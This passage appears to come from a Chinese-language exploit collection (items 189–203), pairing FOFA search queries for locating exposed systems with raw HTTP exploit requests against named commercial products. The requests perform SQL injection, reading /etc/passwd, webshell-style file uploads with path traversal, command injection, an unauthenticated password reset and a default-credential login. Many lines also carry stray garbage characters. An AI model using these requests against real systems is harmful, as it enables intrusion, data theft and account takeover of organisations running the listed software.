0 }# C( N! Q# ^1 s  M9 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* j7 ~" T$ D0 `3 s: V+ G3 p; RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
% D! a1 O+ d5 ~" C& \Connection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( z! l6 Y' b' YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
2 |& |; ]4 H# s6 f# r( KConnection: close

* f  t) [! r- C9 h; [$ I. h
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
) D  o  |2 m- o, a+ s( H' Z' ?FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
; R3 P+ ?- U2 S: _) _Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
2 f- h. d# K9 z7 d, zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 _1 h& e1 }  ^) E2 Y6 l6 {Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

  ^: a% _) @! A  l' K- B$ ~poi=file:///etc/passwd
7 n7 i) [0 i) s8 c8 z1 V8 g
+ J8 ]% W7 i3 o9 H! i$ h- R1 N
, h  S9 y  R; T3 k- F191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& a! a# w8 Z' L: K0 m
1 h; o. R4 @& Gcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

. ]7 T; g) L+ e) D& ^! Z, o
, K; H/ ]3 @! i. {" q+ `# \$ }192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
, o2 m1 K2 i8 z+ b  a2 v% L/ |FOFA：title="用户登录_富通天下外贸ERP"
2 R& q7 ]2 N7 h7 C1 ]POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
8 ^% T6 L+ x# W' I6 w% pHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
8 m1 |5 Y3 A  `$ G, N. R5 X0 H6 |
& j- I) }% _- e! t% v/ O/ Z
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
# K  P- y9 E6 }0 v7 V- Xusing System.Web;
public class AverageHandler : IHttpHandler
3 F8 Q3 i, q, W{
0 ?' u9 f* W- w' q$ {' wpublic bool IsReusable
2 \' U# F' Y' q# _* P7 {- j{ get { return true; } }
+ K. a4 W' ?" R( o, Ppublic void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
& r$ F- L/ ~( e}
4 V& a: m& B' m4 c8 |# Q}

1 ]2 a) ]) f6 ~) F- j9 H
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
) [) A6 V7 }" R5 GFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
7 s/ M2 |  d9 KCookie: PHPSESSID=2333333333333;
1 q; O1 |. T/ j) x: o. k8 pContent-Type: application/x-www-form-urlencoded
9 ^+ H7 w3 N; }User-Agent: Mozilla/5.0
3 n+ X6 q) g; O( G0 K9 U1 i% k3 t
( t4 R: i7 Y7 g" ]1 Y2 i" v6 a3 ^
* e; q( _0 k+ D) X0 T, aPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
( `, a" ~% H( t. d* |' A3 DHost:
% p" F5 U/ d3 |( n; a; \. PUser-Agent: Mozilla/5.0
! B- f- Y$ j+ \Accept-Encoding: gzip, deflate
# n) c9 k% t- `+ w7 G& E& gAccept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
: z+ S( g1 a, B9 Y  D9 GContent-Type: application/x-www-form-urlencoded
: W" i6 X9 T- ^+ z5 T6 JContent-Length: 84

& C+ x0 P: c7 Z; H. b) hparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
3 p. N$ C/ @$ {* }1 n
  P# [  o- y& W6 P
GET /master/img/config HTTP/1.1
Host:
% ^, X0 i& X3 i4 xUser-Agent: Mozilla/5.0

4 W& _8 M3 x: A* q* W3 q3 T' I
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
$ i1 I4 g- g( [& q9 k$ ?0 g' ZHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
) R+ w$ \7 T! R- JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 _* ], }- w* E6 S" {Accept-Encoding: gzip, deflate
8 H' }. q3 X( q3 f( v' CConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
+ O" ~; g9 h8 ]; P4 B9 w' ^------WebKitFormBoundaryKNt0t4vBe8cX9rZk

; `( H6 v$ [) G* e2 l/ T& ^$ dContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
1 q! e: X" z: |<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
1 \( K, Z- @# mContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
' E' n1 L( p3 ?5 K' _- k, j------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
% H& m9 q; ]. [5 ~3 d1 HFOFA：title=="飞鱼星企业级智能上网行为管理系统
: b+ T3 k( ]! @POST /send_order.cgi?parameter=operation HTTP/1.1
, X5 L# o( [3 A: s, nHost: 127.0.0.1
: H5 K, j7 u8 t8 [) C( T6 |Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
, L- S! h% n  R0 b0 S3 s) CAccept-Language: zh-CN,zh;q=0.9
9 a6 o# u- j: E! xConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
& ^; |- U# S) O6 g- D) ~
8 @) J9 y7 q4 S) x. W: p{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
& V( v: o9 @4 F, B( _
' F8 A+ C: Z  v: n' }0 W0 M( j
: w$ f% F8 M- ]* @9 Q4 w* c196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
/ C, Y! l1 ]( ?: DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
2 r% [" u# M: F& H2 BContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
  J3 ]6 j: A% l6 F" G$ dContent-Length: 45
. R7 f8 }: }$ z' e- Q/ k5 qConnection: close
* t: f3 P7 Q) r( g
{"xgh":"test","newPass":"test666","email":""}
8 I- ?  x/ q5 k. `: `" R
, ]; Q7 r  s6 S, I, A
& X- t; ]/ @3 X) A
4 R" a. ~2 B3 q. y197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
" D  R4 w" G) S. V6 TFOFA：app="浙大恩特客户资源管理系统"
2 B1 L: x8 H: Y, NGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
; C6 ~$ C' f& NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
  h  z+ F. x' ]2 q6 D4 N1 j5 cConnection: close
" O; O$ K0 I) r& _' D. @8 \3 a
) D: L% M7 a' c; w. Z
( D' g8 g7 a/ V9 T4 w" I" H
0 }( l: h, X1 n, n! d$ M. ?198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
2 l8 ?0 w. J1 O" Q+ Y( OGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
! {0 A: v6 h/ Q) h  t2 QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

6 Q% Z$ U0 k5 O5 B' w
! G5 Y5 p% v1 v- e9 o& x199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
( e. l1 ]; d, J! A  V2 t# t
& A4 z0 W" [3 W. V! A响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

; ^1 H- @* e  d7 O0 S7 Y2.使用刚才上一步获取到的jwt获取cookie：
& j# P. F* ^. i. `
POST /auth/check HTTP/1.1
Content-Type: application/json
, g( A, G- y5 e& |; J4 {
* e6 A, l  G$ f$ ~: |* y' x{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
4 D0 Q/ g, J5 N1 p
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
& u0 S+ {; P& i' D3 f" |POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

; r8 ?& m" X% p& N* j* f-----------------------------36D28FBc36bd6feE7Fb3
- c: W* v5 x9 ^$ bContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
2 ~" b( E0 c6 f) V; T
1 n; j0 g1 u+ }  z3 }<?php echo "tttt";unlink(__FILE__);?>
4 n0 z) T! B/ F" k* k! Q-----------------------------36D28FBc36bd6feE7Fb3
) M8 `  f6 f) }" n' z) D2 oContent-Disposition: form-data; name="folder"

4 Q7 l2 L8 _1 @1 K: V2 S-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php
* l# j4 Y0 C/ H- y5 f
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
5 A+ {  ]! S$ G) \. qGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
' p# [. o; {; ^8 A: FUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
" J0 m5 p+ r5 ~  ~. Q3 f* F/ D( @( W5 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


+ z0 o& |' N+ G# I8 S7 C& _201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
) ^. B+ U: ?; M0 }, n  A& ?% ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# k/ V0 Z$ I9 l$ j8 o, YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 j( I; S( ^2 U& D) OConnection: close
3 S1 p5 f8 _/ |9 M, Y7 k
( g& T; i. y$ Q2 t. w9 XTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
3 i1 |* t5 i& O% C: {& X
# {0 q4 D) v: G5 L" ^; g" |* A
! {7 j8 ^' @* z0 g5 |/ p! [202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
5 i# d* [! p! T4 k  T" {; IHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
7 G9 E: d2 G7 d* FContent-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
* R  r1 h, L" T' UPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
; P: p7 R/ T  {8 @# M' ]Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
! P/ T' G/ w0 L! z0 h+ bContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
) e# {) ]; u  w$ I/ M7 E-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
& ~, O" W8 m4 I% OContent-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

3 R2 b! L  J1 j% n( X% @( }上传图片
2 L& S3 P4 U! o9 H4 O# \+ S) x1 u/ Z-----------------------------786435874t38587593865736587346567358735687
6 ^1 \2 {- y3 W" l' ]+ e) aContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

+ ?: u" Q/ a8 s8 F
6 @# s/ O, k8 s7 E-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--
% |7 G/ \; k1 y8 q) L* ^
+ c( ^* B/ z( \0 i  S% [* R% Y' r: W
2 @2 ?+ A. e& B) \+ O! m  m/_data/Uploads/1123.txt
" v# f8 }% S0 n( I0 A% @
& Z, F* [: W, ^0 m203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
% p8 H, x( B7 G' {! C/ V/ nHost: x.x.x.x
& O, @0 |4 Q6 u- J6 K( R3 ]6 RAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 e& i9 r; |. ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
% |) c- d& {' m: vContent-Length: 210

& B9 `! s  ?+ p1 m" _------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
2 P0 [7 f, s  }* ^------WebKitFormBoundaryt7WbDl1tXogoZys4--
9 z( y9 H9 E; L6 i5 M% r8 [% l# B




9 w9 P0 K( Z4 E8 _
( s2 k8 F! s- s1 n9 d  T: S